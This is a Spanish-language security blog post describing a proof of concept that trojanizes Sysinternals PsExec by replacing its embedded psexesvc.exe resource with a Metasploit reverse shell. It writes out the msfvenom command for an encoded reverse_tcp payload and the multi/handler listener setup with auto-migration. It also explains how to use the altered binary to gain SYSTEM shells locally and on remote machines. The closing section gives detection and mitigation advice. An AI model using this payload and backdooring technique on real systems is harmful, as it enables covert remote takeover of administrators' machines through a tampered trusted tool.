Hola a tod@s!!
Quedé pendiente de escribir una segunda parte sobre esta utilidad PsExec y las maravillas que se puede hacer con ella. Hace algún tiempo me pasó una cosa curiosa, un amigo me dijo, ¿tienes a mano PsExec? Sí, aquí lo tienes. Que prueba hice con él, os lo cuento :D
Como comenté en el anterior post, PsExec lleva dentro una utilidad que se instala en el directorio Windows a modo de servicio con el que se interactuará para la ejecución de comandos. Pues bien, la herramienta no comprueba que lleva dentro, por lo que… ¿y si lo cambio? ¿Y si en lugar de “psexesvc.exe” llevara una reverse shell?
Prepararemos el siguiente entorno, el binario que vamos a reemplazar dentro de “psexec.exe” y configuraremos la consola de Metasploit para que acepte conexiones del mismo.
Generamos una con msfvenom.
msfvenom -a x86 --platform Windows -p windows/shell/reverse_tcp LHOST=<IP> LPORT=<PUERTO> -e x86/shikata_ga_nai -b '\x00' -i 3 -f exe > rev9001.exe
Y levantamos ese puerto en la consola.
use exploit/multi/hander set payload windows/shell/reverse_tcp set LHOST <IP> set LPORT <PUERTO> set AutoRunScript c:/migrate.rc (contenido: run post/windows/manage/migrate) exploit -j
Como veréis he añadido un script para que una vez conecte se migre a otro proceso, el porqué lo veremos más adelante.
Ahora reemplazamos el binario psexesvc.exe por el generado por msfvenom.
Abrimos vuestro editor de recursos favoritos y nos vamos al siguiente recurso.
Botón derecho sobre él y reemplazar recurso.
Buscamos el nuevo binario y lo reemplazamos.
Quedando de la siguiente manera:
Como veis, el editor completa el tipo de recurso, nombre y lenguaje (no ocurre lo mismo con otros editores y tendríais que añadirlo vosotros). Reemplazamos.
Y lo guardamos, y ya tendríamos el entorno configurado.
Como sabéis, psexec permite ejecutar comandos interactivos como SYSTEM.
psexec.exe -i -s cmd.exe
La mayoría de gente suele utilizarlo para ejecutar comandos privilegiados en el sistema que de otra forma no podría, pero claro, hay que tener claro de donde te has descargado el binario porque te podría ocurrir lo siguiente.
En la máquina en donde se ejecutará PsExec, una vez el usuario introduce el comando para escalar privilegios.
Y en nuestra consola de Metasploit vemos.
Lógicamente, dependiendo del contenido (me refiero al binario dentro de PsExec) tendrá éxito o no. Un binario generado con Metasploit, a no ser que lo ocultes, va a alertar a cualquier antivirus que se precie. Por lo que en la mayoría de los casos no sirve, pero para esta PoC, sí :-D
¿Y podría hacer lo mismo en remoto? Recordad que todo funciona si el usuario que ejecuta la utilidad es administrador del equipo, de dicha forma funciona, se está instalando un servicio.
Se producen varios intentos y proceso finaliza, por eso utilizar el script de auto migrado “migrate” para que sea posible seguir utilizando la sesión.
Funciona, por lo que se puede utilizar la propia herramienta para introducir binarios maliciosos en equipos remotos de forma automatizada.
Se modifica el binario original dentro del mismo como recurso por el que se quiera ejecutar de forma remota y ya estaría, además con privilegios de SYSTEM.
Estuve buscando por si a alguien más se le había ocurrido esto y no encontré muestras en Virus Total, lo que no quiere decir que no haya. Ahora ya sabemos como protegernos, hay que vigilar esos servicios (PSEXESVC) y aplicaciones (psexesvc.exe) que sean legítimos. O nos la estarán colando.
Sería posible, incluso, modificar el binario (“psexec.exe”) para que el nombre del fichero destino fuera otro haciendo más dificultoso darse cuenta del “cambiazo”.
¿Qué podría hacer Microsoft para que esto no ocurra? Realizar algún tipo de comprobación a la hora de instalar “psexesvc.exe” en los equipos. Si el hash de este fichero corresponde con el que sé que es el original y bueno, entonces me copio, en caso contrario no. O si el nombre del servicio es el que tiene que ser, idem anterior.
Sé lo que algunos estaréis pensando, eso se modifica fácimente parcheando el binario, busco el salto condicional y lo cambio (por un JMP, por ejemplo). Así es, pero es una medida más a la hora de ponerlo difícil porque como habéis visto, es una forma rápida y sencilla de conseguir privilegios de SYSTEM en un equipo, ya sea local y remoto (siempre con los permisos adecuados).
Cosas a tener en cuenta, un antivirus facilita la detección de estos binarios (por lo menos los generados por Metasploit sin ofuscar), así que se tendría que tener instalados uno, el que sea. Los permisos para que esta utilidad funcione tienen que ser administrativos, ya que se instala un servicio. Los que lo suelen utilizar, lo son, así que ojo. Se tendría que vigilar que el servicio PSEXESVC tiene asociado un fichero “psexesvc.exe” válido.
Espero que os haya gustado, nos vemos el próximo artículo.